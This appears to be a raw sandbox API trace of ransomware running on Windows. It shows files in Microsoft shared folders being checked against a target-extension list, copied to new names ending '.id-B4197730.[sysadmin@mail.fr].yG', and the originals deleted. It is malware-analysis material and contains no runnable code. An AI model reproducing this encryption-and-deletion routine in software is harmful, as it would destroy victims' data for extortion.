	[0045.977] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75
	[0045.977] lstrlenW (lpString=".jpg") returned 4
	[0045.977] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.977] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.977] lstrlenW (lpString="keypad.xml") returned 10
	[0045.977] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.977] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=693) returned 1
	[0045.978] CloseHandle (hObject=0x334) returned 1
	[0045.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml")) returned 0x20
	[0045.978] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.978] lstrlenW (lpString=".doc") returned 4
	[0045.978] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.978] lstrlenW (lpString=".docx") returned 5
	[0045.978] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0045.978] lstrlenW (lpString=".pdf") returned 4
	[0045.978] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.978] lstrlenW (lpString=".xls") returned 4
	[0045.978] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.978] lstrlenW (lpString=".xlsx") returned 5
	[0045.978] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0045.978] lstrlenW (lpString=".ppt") returned 4
	[0045.978] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.978] lstrlenW (lpString=".zip") returned 4
	[0045.978] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.978] lstrlenW (lpString=".rar") returned 4
	[0045.978] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.978] lstrlenW (lpString=".bz2") returned 4
	[0045.978] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.978] lstrlenW (lpString=".7z") returned 3
	[0045.978] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.978] lstrlenW (lpString=".dbf") returned 4
	[0045.979] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString=".1cd") returned 4
	[0045.979] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString=".jpg") returned 4
	[0045.979] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString=".doc") returned 4
	[0045.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString=".docx") returned 5
	[0045.979] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1
	[0045.979] lstrlenW (lpString=".pdf") returned 4
	[0045.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString=".xls") returned 4
	[0045.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString=".xlsx") returned 5
	[0045.979] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1
	[0045.979] lstrlenW (lpString=".ppt") returned 4
	[0045.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString=".zip") returned 4
	[0045.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.979] lstrlenW (lpString=".rar") returned 4
	[0045.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString=".bz2") returned 4
	[0045.979] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString=".7z") returned 3
	[0045.979] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString=".dbf") returned 4
	[0045.979] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0045.979] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.979] lstrlenW (lpString=".1cd") returned 4
	[0045.979] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0045.980] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml") returned 75
	[0045.980] lstrlenW (lpString=".jpg") returned 4
	[0045.980] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0045.980] lstrcmpiW (lpString1=".xml", lpString2=".yG") returned -1
	[0045.980] lstrlenW (lpString="base.xml") returned 8
	[0045.980] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0045.981] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=3333) returned 1
	[0045.981] CloseHandle (hObject=0x334) returned 1
	[0045.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml")) returned 0x20
	[0045.981] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0045.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0045.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0045.981] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0045.981] lstrlenW (lpString=".doc") returned 4
	[0045.981] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0045.981] lstrlenW (lpString=".docx") returned 5
	[0045.982] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1
	[0045.982] lstrlenW (lpString=".pdf") returned 4
	[0045.982] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0045.982] lstrlenW (lpString=".xls") returned 4
	[0045.982] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0045.982] lstrlenW (lpString=".xlsx") returned 5
	[0045.982] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1
	[0045.982] lstrlenW (lpString=".ppt") returned 4
	[0045.982] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0045.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0045.982] lstrlenW (lpString=".zip") returned 4
	[0045.982] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0045.982] lstrlenW (lpString=".rar") returned 4
	[0045.982] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0045.982] lstrlenW (lpString=".bz2") returned 4
	[0045.982] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0045.982] lstrlenW (lpString=".7z") returned 3
	[0045.982] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0045.982] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml") returned 78
	[0045.982] lstrlenW (lpString=".dbf") returned 4
	[0045.982] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0046.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[sysadmin@mail.fr].yg")) returned 0
	[0046.746] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.746] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0046.746] GetLastError () returned 0x0
	[0046.746] ReadFile (in: hFile=0x334, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x285, lpOverlapped=0x0) returned 1
	[0046.747] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0x290, lpOverlapped=0x0) returned 1
	[0046.748] ReadFile (in: hFile=0x334, lpBuffer=0x4170020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1
	[0046.748] WriteFile (in: hFile=0x2e0, lpBuffer=0x4170020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x4170020*, lpNumberOfBytesWritten=0x262fc94*=0xea, lpOverlapped=0x0) returned 1
	[0046.748] SetEndOfFile (hFile=0x2e0) returned 1
	[0046.748] CloseHandle (hObject=0x2e0) returned 1
	[0046.749] SetFilePointerEx (in: hFile=0x334, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.749] SetEndOfFile (hFile=0x334) returned 1
	[0046.750] CloseHandle (hObject=0x334) returned 1
	[0046.750] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x26) returned 1
	[0046.764] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 1
	[0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.764] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.764] lstrlenW (lpString=".doc") returned 4
	[0046.764] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0046.764] lstrlenW (lpString=".docx") returned 5
	[0046.764] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0046.764] lstrlenW (lpString=".pdf") returned 4
	[0046.764] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0046.764] lstrlenW (lpString=".xls") returned 4
	[0046.764] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0046.764] lstrlenW (lpString=".xlsx") returned 5
	[0046.764] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0046.765] lstrlenW (lpString=".ppt") returned 4
	[0046.765] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString=".zip") returned 4
	[0046.765] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString=".rar") returned 4
	[0046.765] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString=".bz2") returned 4
	[0046.765] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0046.765] lstrlenW (lpString=".7z") returned 3
	[0046.765] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString=".dbf") returned 4
	[0046.765] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString=".1cd") returned 4
	[0046.765] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString=".jpg") returned 4
	[0046.765] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString=".doc") returned 4
	[0046.765] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0046.765] lstrlenW (lpString=".docx") returned 5
	[0046.765] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0046.765] lstrlenW (lpString=".pdf") returned 4
	[0046.765] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString=".xls") returned 4
	[0046.765] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString=".xlsx") returned 5
	[0046.765] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0046.765] lstrlenW (lpString=".ppt") returned 4
	[0046.765] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0046.765] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.765] lstrlenW (lpString=".zip") returned 4
	[0046.766] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0046.766] lstrlenW (lpString=".rar") returned 4
	[0046.766] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0046.766] lstrlenW (lpString=".bz2") returned 4
	[0046.766] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0046.766] lstrlenW (lpString=".7z") returned 3
	[0046.766] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.766] lstrlenW (lpString=".dbf") returned 4
	[0046.766] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.766] lstrlenW (lpString=".1cd") returned 4
	[0046.766] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0046.766] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Desktop.ini") returned 69
	[0046.766] lstrlenW (lpString=".jpg") returned 4
	[0046.766] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0046.766] lstrcmpiW (lpString1=".htm", lpString2=".yG") returned -1
	[0046.766] lstrlenW (lpString="Garden.htm") returned 10
	[0046.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0046.968] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=231) returned 1
	[0046.968] CloseHandle (hObject=0x35c) returned 1
	[0046.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm")) returned 0x20
	[0046.968] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.968] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.968] lstrlenW (lpString=".doc") returned 4
	[0046.968] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0046.968] lstrlenW (lpString=".docx") returned 5
	[0046.969] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0046.969] lstrlenW (lpString=".pdf") returned 4
	[0046.969] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString=".xls") returned 4
	[0046.969] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString=".xlsx") returned 5
	[0046.969] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0046.969] lstrlenW (lpString=".ppt") returned 4
	[0046.969] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.969] lstrlenW (lpString=".zip") returned 4
	[0046.969] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString=".rar") returned 4
	[0046.969] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString=".bz2") returned 4
	[0046.969] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0046.969] lstrlenW (lpString=".7z") returned 3
	[0046.969] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0046.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.969] lstrlenW (lpString=".dbf") returned 4
	[0046.969] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0046.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.969] lstrlenW (lpString=".1cd") returned 4
	[0046.969] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0046.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.969] lstrlenW (lpString=".jpg") returned 4
	[0046.969] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.969] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.969] lstrlenW (lpString=".doc") returned 4
	[0046.969] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1
	[0046.969] lstrlenW (lpString=".docx") returned 5
	[0046.969] lstrcmpiW (lpString1=".docx", lpString2="n.htm") returned -1
	[0046.969] lstrlenW (lpString=".pdf") returned 4
	[0046.969] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1
	[0046.969] lstrlenW (lpString=".xls") returned 4
	[0046.970] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1
	[0046.970] lstrlenW (lpString=".xlsx") returned 5
	[0046.970] lstrcmpiW (lpString1=".xlsx", lpString2="n.htm") returned -1
	[0046.970] lstrlenW (lpString=".ppt") returned 4
	[0046.970] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1
	[0046.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.970] lstrlenW (lpString=".zip") returned 4
	[0046.970] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1
	[0046.970] lstrlenW (lpString=".rar") returned 4
	[0046.970] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1
	[0046.970] lstrlenW (lpString=".bz2") returned 4
	[0046.970] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1
	[0046.970] lstrlenW (lpString=".7z") returned 3
	[0046.970] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1
	[0046.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.970] lstrlenW (lpString=".dbf") returned 4
	[0046.970] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1
	[0046.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.970] lstrlenW (lpString=".1cd") returned 4
	[0046.970] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1
	[0046.970] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.htm") returned 68
	[0046.970] lstrlenW (lpString=".jpg") returned 4
	[0046.970] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1
	[0046.970] lstrcmpiW (lpString1=".jpg", lpString2=".yG") returned -1
	[0046.970] lstrlenW (lpString="HandPrints.jpg") returned 14
	[0046.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0046.976] GetFileSizeEx (in: hFile=0x334, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=4222) returned 1
	[0046.976] CloseHandle (hObject=0x334) returned 1
	[0046.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg")) returned 0x20
	[0046.976] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.976] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\handprints.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0046.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.976] lstrlenW (lpString=".doc") returned 4
	[0046.976] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0046.976] lstrlenW (lpString=".docx") returned 5
	[0046.976] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0046.976] lstrlenW (lpString=".pdf") returned 4
	[0046.976] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0046.976] lstrlenW (lpString=".xls") returned 4
	[0046.976] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0046.976] lstrlenW (lpString=".xlsx") returned 5
	[0046.976] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0046.976] lstrlenW (lpString=".ppt") returned 4
	[0046.976] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0046.976] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.976] lstrlenW (lpString=".zip") returned 4
	[0046.976] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString=".rar") returned 4
	[0046.977] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0046.977] lstrlenW (lpString=".bz2") returned 4
	[0046.977] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0046.977] lstrlenW (lpString=".7z") returned 3
	[0046.977] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.977] lstrlenW (lpString=".dbf") returned 4
	[0046.977] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.977] lstrlenW (lpString=".1cd") returned 4
	[0046.977] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0046.977] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg") returned 72
	[0046.977] lstrlenW (lpString=".jpg") returned 4
	[0046.977] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
